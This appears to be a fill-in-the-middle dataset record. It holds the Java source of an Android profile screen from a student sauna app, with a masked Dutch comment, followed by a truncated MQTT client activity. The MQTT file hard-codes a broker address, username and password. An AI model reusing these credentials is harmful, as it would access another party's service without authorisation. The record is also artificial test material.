mBottomnavigation = findViewById(R.id.bottom_navigation);
mUsername = findViewById(R.id.username_Textview);
mPhone = findViewById(R.id.phonenumber_Textview);
mEmail = findViewById(R.id.userEmail_Textview);
mProfilepic = findViewById(R.id.Profilepic);
mfab = findViewById(R.id.fab);
//init progress dialog
pd = new ProgressDialog(getApplication());
//init arrays of permissons
cameraPermissions = new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE};
storagePermissions = new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE};
//referentie naar de userTest deel en vervolgens adhv USERID de momenteel ingelogde user
DocumentReference documentReference = mStore.collection("usersTest").document(userID);
documentReference.addSnapshotListener(this, new EventListener<DocumentSnapshot>() {
@Override
public void onEvent(@Nullable DocumentSnapshot documentSnapshot, @Nullable FirebaseFirestoreException e) {
//userinfo uit database halen en in textviews zetten
mPhone.setText(documentSnapshot.getString("phone"));
mUsername.setText(documentSnapshot.getString("uname"));
mEmail.setText(documentSnapshot.getString("email"));
String image = documentSnapshot.getString("image");
try {
Picasso.get().load(image).into(mProfilepic);
}
catch (Exception d){
Picasso.get().load(R.drawable.ic_user_name).into(mProfilepic);
}
}
});
//set profile selected
mBottomnavigation.setSelectedItemId(R.id.profile);
//fab onclicklist
mfab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showEditProfileDialog();
}
});
//perform itemSelectedListner
mBottomnavigation.setOnNavigationItemSelectedListener(new BottomNavigationView.OnNavigationItemSelectedListener() {
@Override
public boolean onNavigationItemSelected(@NonNull MenuItem menuItem) {
switch (menuItem.getItemId()){
case R.id.home:
startActivity(new Intent(getApplicationContext(), MainActivity.class));
overridePendingTransition(0,0);
return true;
case R.id.profile:
return true;
case R.id.settings:
startActivity(new Intent(getApplicationContext(), Settings.class));
overridePendingTransition(0,0);
return true;
case R.id.saunaList:
startActivity(new Intent(getApplicationContext(), SaunaList.class));
overridePendingTransition(0,0);
return true;
}
return false;
}
});
mdeleteButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
AlertDialog.Builder dialog = new AlertDialog.Builder(Profile.this);
dialog.setTitle("Are you sure you want to delete your account?");
dialog.setMessage("Deleting your account is permanent and will remove all content including comments, avatars and profile settings. ");
dialog.setPositiveButton("DELETE", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
muser.delete().addOnCompleteListener(new OnCompleteListener<Void>() {
@Override
public void onComplete(@NonNull Task<Void> task) {
if (task.isSuccessful()){
deleteUser(userID);
Toast.makeText(Profile.this, "Account deleted", Toast.LENGTH_SHORT).show();
startActivity(new Intent(getApplicationContext(), Login.class));
finish();
}
else{
String errormessage = task.getException().getMessage();
Toast.makeText(Profile.this,"error acquired" + errormessage,Toast.LENGTH_LONG).show();
}
}
});
}
});
dialog.setNegativeButton("Dismiss", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
AlertDialog alertDialog = dialog.create();
alertDialog.show();
}
});
}
private boolean checkStoragePermission(){
boolean result = ContextCompat.checkSelfPermission(Profile.this, Manifest.permission.WRITE_EXTERNAL_STORAGE)
== (PackageManager.PERMISSION_GRANTED);
return result;
}
@RequiresApi(api = Build.VERSION_CODES.M)
private void requestStoragePermission(){
//min api verhogen
requestPermissions(storagePermissions ,STORAGE_REQUEST_CODE);
}
private boolean checkCameraPermission(){
boolean result = ContextCompat.checkSelfPermission(Profile.this, Manifest.permission.CAMERA)
== (PackageManager.PERMISSION_GRANTED);
boolean result1 = ContextCompat.checkSelfPermission(Profile.this, Manifest.permission.WRITE_EXTERNAL_STORAGE)
== (PackageManager.PERMISSION_GRANTED);
return result && result1;
}
//min api verhogen
@RequiresApi(api = Build.VERSION_CODES.M)
private void requestCameraPermission(){
requestPermissions(cameraPermissions ,CAMERA_REQUEST_CODE);
}
private void showEditProfileDialog() {
//show dialog options
//edit profile picture, name, phone number
String options[]= {"Edit profile picture", "Edit name", "Edit phone number"};
//alert
AlertDialog.Builder builder = new AlertDialog.Builder(Profile.this);
//set title
builder.setTitle("Choose Action");
// set items to dialog
builder.setItems(options, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
//handle dialog item clicks
switch (which){
case 0:
pd.setMessage("Updating profile picture");
showImagePicDialog();
break;
case 1:
pd.setMessage("Updating username");
showNamePhoneUpdateDialog("uname");
break;
case 2:
pd.setMessage("Updating phone number");
showNamePhoneUpdateDialog("phone");
break;
}
}
});
//create and show dialog
builder.create();
builder.show();
}
private void showNamePhoneUpdateDialog(final String key) {
AlertDialog.Builder builder = new AlertDialog.Builder(Profile.this);
builder.setTitle("update"+ key);
//set layout of dialog
LinearLayout linearLayout = new LinearLayout(getApplication());
linearLayout.setOrientation(LinearLayout.VERTICAL);
linearLayout.setPadding(10,10,10,10);
//add edit text
final EditText editText = new EditText(getApplication());
editText.setHint("Enter"+key); //edit update name or photo
linearLayout.addView(editText);
builder.setView(linearLayout);
builder.setPositiveButton("update", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
//input text from edit text
String value = editText.getText().toString().trim();
if (!TextUtils.isEmpty(value)){
HashMap<String, Object> result = new HashMap<>();
result.put(key, value);
DocumentReference documentReference = mStore.collection("usersTest").document(userID);
documentReference.update(key, value);
}
else {
Toast.makeText(Profile.this, "please enter"+key, Toast.LENGTH_SHORT).show();
}
}
});
builder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
//create and show dialog
builder.create();
builder.show();
}
private void showImagePicDialog() {
//show dialog options
//Camera, choose from gallery
String options[]= {"Open camera", "Choose from gallery"};
//alert
AlertDialog.Builder builder = new AlertDialog.Builder(Profile.this);
//set title
builder.setTitle("Pick image from:");
// set items to dialog
builder.setItems(options, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
//handle dialog item clicks
switch (which){
case 0:
//pd.setMessage("Camera");
// showImagePicDialog();
if(!checkCameraPermission()){
requestCameraPermission();
}
else {
pickFromCamera();
}
break;
case 1:
if(!checkStoragePermission()){
requestStoragePermission();
}
else {
requestStoragePermission();
}
// pd.setMessage("Choose from gallery");
break;
}
}
});
//create and show dialog
builder.create();
builder.show();
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
//deze methode wordt aangeroepen wanneer de user Allow of Deny kiest van de dialog
//deze keuze wordt hier afgehandeld
switch (requestCode){
case CAMERA_REQUEST_CODE:{
if (grantResults.length>0){
//checken of we toegang hebben tot camera
boolean cameraAccepted =grantResults[0] == PackageManager.PERMISSION_GRANTED;
boolean writeStorageAccepted = grantResults[1] == PackageManager.PERMISSION_GRANTED;
if(cameraAccepted && writeStorageAccepted){
pickFromCamera();
}
}
else {
//toegang geweigerd
Toast.makeText(Profile.this, "please enalble camera & storage permission", Toast.LENGTH_SHORT).show();
}
}
break;
case STORAGE_REQUEST_CODE:{
//van gallerij: eerst checkn of we hiervoor toestemming hebben
if (grantResults.length>0){
boolean writeStorageAccepted = grantResults[1] == PackageManager.PERMISSION_GRANTED;
if(writeStorageAccepted){
pickFromGallery();
}
}
else {
//toegang geweigerd
Toast.makeText(Profile.this, "please enalble storage permission", Toast.LENGTH_SHORT).show();
}
}
break;
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
//deze methode wordt opgeroepne na het nemen van een foto van camera of gallerij
if (resultCode == RESULT_OK) {
if (requestCode == IMAGE_PICK_GALLERY_CODE) {
//abeelding gekozen vanuit de gallerij --> verkrijgen van uri van de image
image_uri = data.getData();
uploadProfileCoverphoto(image_uri);
}
if (requestCode == IMAGE_PICK_CAMERA_CODE) {
//afbeelding gekozen met camera
uploadProfileCoverphoto(image_uri);
}
}
super.onActivityResult(requestCode, resultCode, data);
}
private void uploadProfileCoverphoto(final Uri uri) {
//path and name of image t be stored in firebase storage
String filePathandName = storagePath+ "" + "image" + "_"+ userID;
StorageReference storageReference2 = storageReference.child(filePathandName);
storageReference2.putFile(uri)
.addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
@Override
public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
Task<Uri> uriTask = taskSnapshot.getStorage().getDownloadUrl();
while (!uriTask.isSuccessful());
Uri downloadUti = uriTask.getResult();
//check if image is dowloaded or not
if (uriTask.isSuccessful()){
//image upload
//add/update url in users database
HashMap<String, Object> results = new HashMap<>();
results.put("image", downloadUti.toString());
DocumentReference documentReference = mStore.collection("usersTest").document(userID);
documentReference.update("image", downloadUti.toString());
}
else {
//error
Toast.makeText(Profile.this, "Some error occured", Toast.LENGTH_SHORT).show();
}
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
pd.dismiss();
Toast.makeText(Profile.this, e.getMessage(), Toast.LENGTH_SHORT).show();
}
});
}
private void pickFromCamera() {
//intent of picking image from device camera
ContentValues values = new ContentValues();
values.put(MediaStore.Images.Media.TITLE, "Temp Pic");
values.put(MediaStore.Images.Media.DESCRIPTION, "Temp Description");
//put image uri
image_uri = Profile.this.getContentResolver().insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
//intent to start camera
Intent cameraIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
cameraIntent.putExtra(MediaStore.EXTRA_OUTPUT, image_uri);
startActivityForResult(cameraIntent, IMAGE_PICK_CAMERA_CODE);
}
//check
private void pickFromGallery(){
//pick from gallery
Intent galleryIntent = new Intent(Intent.ACTION_PICK);
galleryIntent.setType("image/*");
startActivityForResult(galleryIntent, IMAGE_PICK_GALLERY_CODE);
}
//logout voor ap --> terug naar login activity
public void logout(View view) {
FirebaseAuth.getInstance().signOut();//logout
startActivity(new Intent(Profile.this, Login.class));
this.finish();
}
public void deleteUser(String userid){
mStore.collection("usersTest").document(userid).delete();
}
}
| AP-IT-GH/intprojectrepo-thermo-team | thermo-sauna/app/src/main/java/com/app/vinnie/myapplication/Profile.java | 5,178 | //abeelding gekozen vanuit de gallerij --> verkrijgen van uri van de image | line_comment | nl | package com.app.vinnie.myapplication;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import android.Manifest;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.ContentValues;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.text.TextUtils;
import android.util.Log;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.android.material.bottomnavigation.BottomNavigationView;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.Query;
import com.google.firebase.database.ValueEventListener;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.EventListener;
import com.google.firebase.firestore.FieldValue;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.FirebaseFirestoreException;
import com.google.firebase.firestore.SetOptions;
import com.google.firebase.storage.StorageReference;
import com.google.firebase.storage.UploadTask;
import com.squareup.picasso.Picasso;
import java.security.Key;
import java.util.HashMap;
import java.util.Map;
import static com.google.firebase.storage.FirebaseStorage.getInstance;
public class Profile extends AppCompatActivity {
BottomNavigationView mBottomnavigation;
Button mdeleteButton;
TextView mUsername, mPhone, mEmail;
ImageView mProfilepic;
FloatingActionButton mfab;
ProgressDialog pd;
//farebase
FirebaseUser muser;
FirebaseAuth mAuth;
FirebaseFirestore mStore;
DatabaseReference mDatabaseref;
FirebaseDatabase mdatabase;
//storage
StorageReference storageReference;
//path where images of user profile will be stored
String storagePath = "Users_Profile_Imgs/";
String userID;
//uri of picked image
Uri image_uri;
//
private static final int CAMERA_REQUEST_CODE = 100;
private static final int STORAGE_REQUEST_CODE = 200;
private static final int IMAGE_PICK_GALLERY_CODE = 300;
private static final int IMAGE_PICK_CAMERA_CODE = 400;
//arrays of permission to be requested
String cameraPermissions[];
String storagePermissions[];
//TRY
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_profile);
//TRY
//init firebase
muser = FirebaseAuth.getInstance().getCurrentUser();
mAuth = FirebaseAuth.getInstance();
mStore = FirebaseFirestore.getInstance();
userID = mAuth.getCurrentUser().getUid();
storageReference = getInstance().getReference(); //fbase stor ref
//views
mdeleteButton = findViewById(R.id.ButtonDelete);
mBottomnavigation = findViewById(R.id.bottom_navigation);
mUsername = findViewById(R.id.username_Textview);
mPhone = findViewById(R.id.phonenumber_Textview);
mEmail = findViewById(R.id.userEmail_Textview);
mProfilepic = findViewById(R.id.Profilepic);
mfab = findViewById(R.id.fab);
//init progress dialog
pd = new ProgressDialog(getApplication());
//init arrays of permissons
cameraPermissions = new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE};
storagePermissions = new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE};
//referentie naar de userTest deel en vervolgens adhv USERID de momenteel ingelogde user
DocumentReference documentReference = mStore.collection("usersTest").document(userID);
documentReference.addSnapshotListener(this, new EventListener<DocumentSnapshot>() {
@Override
public void onEvent(@Nullable DocumentSnapshot documentSnapshot, @Nullable FirebaseFirestoreException e) {
//userinfo uit database halen en in textviews zetten
mPhone.setText(documentSnapshot.getString("phone"));
mUsername.setText(documentSnapshot.getString("uname"));
mEmail.setText(documentSnapshot.getString("email"));
String image = documentSnapshot.getString("image");
try {
Picasso.get().load(image).into(mProfilepic);
}
catch (Exception d){
Picasso.get().load(R.drawable.ic_user_name).into(mProfilepic);
}
}
});
//set profile selected
mBottomnavigation.setSelectedItemId(R.id.profile);
//fab onclicklist
mfab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showEditProfileDialog();
}
});
//perform itemSelectedListner
mBottomnavigation.setOnNavigationItemSelectedListener(new BottomNavigationView.OnNavigationItemSelectedListener() {
@Override
public boolean onNavigationItemSelected(@NonNull MenuItem menuItem) {
switch (menuItem.getItemId()){
case R.id.home:
startActivity(new Intent(getApplicationContext(), MainActivity.class));
overridePendingTransition(0,0);
return true;
case R.id.profile:
return true;
case R.id.settings:
startActivity(new Intent(getApplicationContext(), Settings.class));
overridePendingTransition(0,0);
return true;
case R.id.saunaList:
startActivity(new Intent(getApplicationContext(), SaunaList.class));
overridePendingTransition(0,0);
return true;
}
return false;
}
});
mdeleteButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
AlertDialog.Builder dialog = new AlertDialog.Builder(Profile.this);
dialog.setTitle("Are you sure you want to delete your account?");
dialog.setMessage("Deleting your account is permanent and will remove all content including comments, avatars and profile settings. ");
dialog.setPositiveButton("DELETE", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
muser.delete().addOnCompleteListener(new OnCompleteListener<Void>() {
@Override
public void onComplete(@NonNull Task<Void> task) {
if (task.isSuccessful()){
deleteUser(userID);
Toast.makeText(Profile.this, "Account deleted", Toast.LENGTH_SHORT).show();
startActivity(new Intent(getApplicationContext(), Login.class));
finish();
}
else{
String errormessage = task.getException().getMessage();
Toast.makeText(Profile.this,"error acquired" + errormessage,Toast.LENGTH_LONG).show();
}
}
});
}
});
dialog.setNegativeButton("Dismiss", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
AlertDialog alertDialog = dialog.create();
alertDialog.show();
}
});
}
private boolean checkStoragePermission(){
boolean result = ContextCompat.checkSelfPermission(Profile.this, Manifest.permission.WRITE_EXTERNAL_STORAGE)
== (PackageManager.PERMISSION_GRANTED);
return result;
}
@RequiresApi(api = Build.VERSION_CODES.M)
private void requestStoragePermission(){
//min api verhogen
requestPermissions(storagePermissions ,STORAGE_REQUEST_CODE);
}
private boolean checkCameraPermission(){
boolean result = ContextCompat.checkSelfPermission(Profile.this, Manifest.permission.CAMERA)
== (PackageManager.PERMISSION_GRANTED);
boolean result1 = ContextCompat.checkSelfPermission(Profile.this, Manifest.permission.WRITE_EXTERNAL_STORAGE)
== (PackageManager.PERMISSION_GRANTED);
return result && result1;
}
//min api verhogen
@RequiresApi(api = Build.VERSION_CODES.M)
private void requestCameraPermission(){
requestPermissions(cameraPermissions ,CAMERA_REQUEST_CODE);
}
private void showEditProfileDialog() {
//show dialog options
//edit profile picture, name, phone number
String options[]= {"Edit profile picture", "Edit name", "Edit phone number"};
//alert
AlertDialog.Builder builder = new AlertDialog.Builder(Profile.this);
//set title
builder.setTitle("Choose Action");
// set items to dialog
builder.setItems(options, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
//handle dialog item clicks
switch (which){
case 0:
pd.setMessage("Updating profile picture");
showImagePicDialog();
break;
case 1:
pd.setMessage("Updating username");
showNamePhoneUpdateDialog("uname");
break;
case 2:
pd.setMessage("Updating phone number");
showNamePhoneUpdateDialog("phone");
break;
}
}
});
//create and show dialog
builder.create();
builder.show();
}
private void showNamePhoneUpdateDialog(final String key) {
AlertDialog.Builder builder = new AlertDialog.Builder(Profile.this);
builder.setTitle("update"+ key);
//set layout of dialog
LinearLayout linearLayout = new LinearLayout(getApplication());
linearLayout.setOrientation(LinearLayout.VERTICAL);
linearLayout.setPadding(10,10,10,10);
//add edit text
final EditText editText = new EditText(getApplication());
editText.setHint("Enter"+key); //edit update name or photo
linearLayout.addView(editText);
builder.setView(linearLayout);
builder.setPositiveButton("update", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
//input text from edit text
String value = editText.getText().toString().trim();
if (!TextUtils.isEmpty(value)){
HashMap<String, Object> result = new HashMap<>();
result.put(key, value);
DocumentReference documentReference = mStore.collection("usersTest").document(userID);
documentReference.update(key, value);
}
else {
Toast.makeText(Profile.this, "please enter"+key, Toast.LENGTH_SHORT).show();
}
}
});
builder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
//create and show dialog
builder.create();
builder.show();
}
private void showImagePicDialog() {
//show dialog options
//Camera, choose from gallery
String options[]= {"Open camera", "Choose from gallery"};
//alert
AlertDialog.Builder builder = new AlertDialog.Builder(Profile.this);
//set title
builder.setTitle("Pick image from:");
// set items to dialog
builder.setItems(options, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
//handle dialog item clicks
switch (which){
case 0:
//pd.setMessage("Camera");
// showImagePicDialog();
if(!checkCameraPermission()){
requestCameraPermission();
}
else {
pickFromCamera();
}
break;
case 1:
if(!checkStoragePermission()){
requestStoragePermission();
}
else {
requestStoragePermission();
}
// pd.setMessage("Choose from gallery");
break;
}
}
});
//create and show dialog
builder.create();
builder.show();
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
//deze methode wordt aangeroepen wanneer de user Allow of Deny kiest van de dialog
//deze keuze wordt hier afgehandeld
switch (requestCode){
case CAMERA_REQUEST_CODE:{
if (grantResults.length>0){
//checken of we toegang hebben tot camera
boolean cameraAccepted =grantResults[0] == PackageManager.PERMISSION_GRANTED;
boolean writeStorageAccepted = grantResults[1] == PackageManager.PERMISSION_GRANTED;
if(cameraAccepted && writeStorageAccepted){
pickFromCamera();
}
}
else {
//toegang geweigerd
Toast.makeText(Profile.this, "please enalble camera & storage permission", Toast.LENGTH_SHORT).show();
}
}
break;
case STORAGE_REQUEST_CODE:{
//van gallerij: eerst checkn of we hiervoor toestemming hebben
if (grantResults.length>0){
boolean writeStorageAccepted = grantResults[1] == PackageManager.PERMISSION_GRANTED;
if(writeStorageAccepted){
pickFromGallery();
}
}
else {
//toegang geweigerd
Toast.makeText(Profile.this, "please enalble storage permission", Toast.LENGTH_SHORT).show();
}
}
break;
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
//deze methode wordt opgeroepne na het nemen van een foto van camera of gallerij
if (resultCode == RESULT_OK) {
if (requestCode == IMAGE_PICK_GALLERY_CODE) {
//abeelding gekozen<SUF>
image_uri = data.getData();
uploadProfileCoverphoto(image_uri);
}
if (requestCode == IMAGE_PICK_CAMERA_CODE) {
//afbeelding gekozen met camera
uploadProfileCoverphoto(image_uri);
}
}
super.onActivityResult(requestCode, resultCode, data);
}
private void uploadProfileCoverphoto(final Uri uri) {
//path and name of image t be stored in firebase storage
String filePathandName = storagePath+ "" + "image" + "_"+ userID;
StorageReference storageReference2 = storageReference.child(filePathandName);
storageReference2.putFile(uri)
.addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
@Override
public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
Task<Uri> uriTask = taskSnapshot.getStorage().getDownloadUrl();
while (!uriTask.isSuccessful());
Uri downloadUti = uriTask.getResult();
//check if image is dowloaded or not
if (uriTask.isSuccessful()){
//image upload
//add/update url in users database
HashMap<String, Object> results = new HashMap<>();
results.put("image", downloadUti.toString());
DocumentReference documentReference = mStore.collection("usersTest").document(userID);
documentReference.update("image", downloadUti.toString());
}
else {
//error
Toast.makeText(Profile.this, "Some error occured", Toast.LENGTH_SHORT).show();
}
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
pd.dismiss();
Toast.makeText(Profile.this, e.getMessage(), Toast.LENGTH_SHORT).show();
}
});
}
private void pickFromCamera() {
//intent of picking image from device camera
ContentValues values = new ContentValues();
values.put(MediaStore.Images.Media.TITLE, "Temp Pic");
values.put(MediaStore.Images.Media.DESCRIPTION, "Temp Description");
//put image uri
image_uri = Profile.this.getContentResolver().insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
//intent to start camera
Intent cameraIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
cameraIntent.putExtra(MediaStore.EXTRA_OUTPUT, image_uri);
startActivityForResult(cameraIntent, IMAGE_PICK_CAMERA_CODE);
}
//check
private void pickFromGallery(){
//pick from gallery
Intent galleryIntent = new Intent(Intent.ACTION_PICK);
galleryIntent.setType("image/*");
startActivityForResult(galleryIntent, IMAGE_PICK_GALLERY_CODE);
}
//logout voor ap --> terug naar login activity
public void logout(View view) {
FirebaseAuth.getInstance().signOut();//logout
startActivity(new Intent(Profile.this, Login.class));
this.finish();
}
public void deleteUser(String userid){
mStore.collection("usersTest").document(userid).delete();
}
}
|
40747_0 | package powerrangers.zordon;
import android.content.Context;
import android.media.MediaPlayer;
import android.speech.tts.TextToSpeech;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telecom.Connection;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Adapter;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.CompoundButton;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TextView;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.Intent;
import android.os.Bundle;
import android.speech.RecognizerIntent;
import android.view.View;
import android.widget.Button;
import android.widget.ImageButton;
import android.widget.TextView;
import android.widget.Toast;
import android.widget.ToggleButton;
import org.eclipse.paho.android.service.MqttAndroidClient;
import org.eclipse.paho.client.mqttv3.DisconnectedBufferOptions;
import org.eclipse.paho.client.mqttv3.IMqttActionListener;
import org.eclipse.paho.client.mqttv3.IMqttDeliveryToken;
import org.eclipse.paho.client.mqttv3.IMqttMessageListener;
import org.eclipse.paho.client.mqttv3.IMqttToken;
import org.eclipse.paho.client.mqttv3.MqttCallback;
import org.eclipse.paho.client.mqttv3.MqttCallbackExtended;
import org.eclipse.paho.client.mqttv3.MqttClient;
import org.eclipse.paho.client.mqttv3.MqttConnectOptions;
import org.eclipse.paho.client.mqttv3.MqttException;
import org.eclipse.paho.client.mqttv3.MqttMessage;
import org.eclipse.paho.client.mqttv3.util.Strings;
import java.io.UnsupportedEncodingException;
import static android.R.attr.content;
public class MainActivity extends AppCompatActivity {
MqttAndroidClient client;
String server = "ssl://m21.cloudmqtt.com:22452";
String username = "xnkcayag";
String password = "DtCGtuL2kVfk";
String topic = "Android/#";
String kitchentopic = "Android";
String[] topics = {"Android/#", "kitchen"};
String newmessage;
int qos = 1;
String clientId = MqttClient.generateClientId();
String Manueelsend = "test";
private Adapter mAdapter;
private ListView lv;
String[] Places = {"keuken", "slaapkamer", "berging", "badkamer", "deur"};;
protected static final int RESULT_SPEECH = 1;
private ImageButton PraatButton;
private TextView GesprokenZin;
private TextView LatestMessage;
private TextView KamerTemp;
private TextView weight;
private TextView ConnectStatus;
private Button Devices;
private ToggleButton Verwarming;
private TextToSpeech tts;
Boolean send = true;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btnSendMsg = (Button) findViewById(R.id.SendMessage);
GesprokenZin = (TextView) findViewById(R.id.GesprokenZin);
PraatButton = (ImageButton) findViewById(R.id.PraatButton);
ConnectStatus = (TextView) findViewById(R.id.StatusLabel);
lv = (ListView) findViewById(R.id.lv);
tts=new TextToSpeech(getApplicationContext(), new TextToSpeech.OnInitListener() {
@Override
public void onInit(int status) {
if(status != TextToSpeech.ERROR) {
}
}
});
//String[] array = getIntent().getStringArrayExtra("lijst");
//Speech To Text API
PraatButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(
RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
intent.putExtra(RecognizerIntent.EXTRA_LANGUAGE_MODEL, Locale.getDefault());
try {
startActivityForResult(intent, RESULT_SPEECH);
GesprokenZin.setText("");
} catch (ActivityNotFoundException a) {
Toast.makeText(getApplicationContext(),
"Your device doesn't support Speech to Text",
Toast.LENGTH_SHORT).show();
}
}
});
//Connect to Mqtt
client = new MqttAndroidClient(this.getApplicationContext(), server, clientId);
client.setCallback(new MqttCallbackExtended() {
@Override
public void connectComplete(boolean reconnect, String server) {
if (reconnect) {
addToHistory("Reconnected to: " + server);
ConnectStatus.setText("Status: Connected");
SubscribeToTopic();
} else {
addToHistory("Connected to: " + server);
ConnectStatus.setText("Status: Connected");
}
}
@Override
public void connectionLost(Throwable cause) {
addToHistory("The connection was lost.");
ConnectStatus.setText("Status: Disconnected");
}
@Override
public void messageArrived(String topic, MqttMessage message) throws Exception {
addToHistory("Incoming message: " + new String(message.getPayload()));
}
@Override
public void deliveryComplete(IMqttDeliveryToken token) {
}
});
MqttConnectOptions mqttConnectOptions = new MqttConnectOptions();
mqttConnectOptions.setAutomaticReconnect(true);
mqttConnectOptions.setCleanSession(false);
mqttConnectOptions.setUserName(username);
mqttConnectOptions.setConnectionTimeout(240000);
mqttConnectOptions.setPassword(password.toCharArray());
try {
client.connect(mqttConnectOptions, null, new IMqttActionListener() {
@Override
public void onSuccess(IMqttToken asyncActionToken) {
DisconnectedBufferOptions disconnectedBufferOptions = new DisconnectedBufferOptions();
disconnectedBufferOptions.setBufferEnabled(true);
disconnectedBufferOptions.setBufferSize(100);
disconnectedBufferOptions.setPersistBuffer(false);
disconnectedBufferOptions.setDeleteOldestMessages(false);
client.setBufferOpts(disconnectedBufferOptions);
SubscribeToTopic();
}
@Override
public void onFailure(IMqttToken asyncActionToken, Throwable exception) {
addToHistory("failed to connect to: " + server);
}
});
} catch (MqttException ex) {
ex.printStackTrace();
}
}
private void addToHistory(String mainText){
System.out.println("LOG: " + mainText);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
return super.onOptionsItemSelected(item);
}
public void SubscribeToTopic(){
try {
//Subscribe to all topics on Android
final MediaPlayer mp = MediaPlayer.create(this, R.raw.bell3);
final MediaPlayer weightSound = MediaPlayer.create(this, R.raw.weightdetected);
client.subscribe(topic, 0, new IMqttMessageListener() {
@Override
public void messageArrived(final String topic, MqttMessage message) throws Exception {
final MqttMessage test = message;
System.out.println("Message: " + "Android/#" + " : " + new String(message.getPayload()));
runOnUiThread(new Runnable() {
@Override
public void run() {
//sensor
KamerTemp = (TextView) findViewById(R.id.KamerTemp);
KamerTemp.setText("Kamertemperatuur: " + new String(test.getPayload()));
if(new String(test.getPayload()).contains("bel")){
mp.start();
}
if(new String(test.getPayload()).contains("dit weegt")) {
weight = (TextView) findViewById(R.id.weight);
weight.setText("Gewicht: " + new String(test.getPayload()));
tts.speak(new String(test.getPayload()), TextToSpeech.QUEUE_FLUSH, null);
}
if(new String(test.getPayload()).contains("heavy")) {
tts.speak("Welkom", TextToSpeech.QUEUE_FLUSH, null);
}
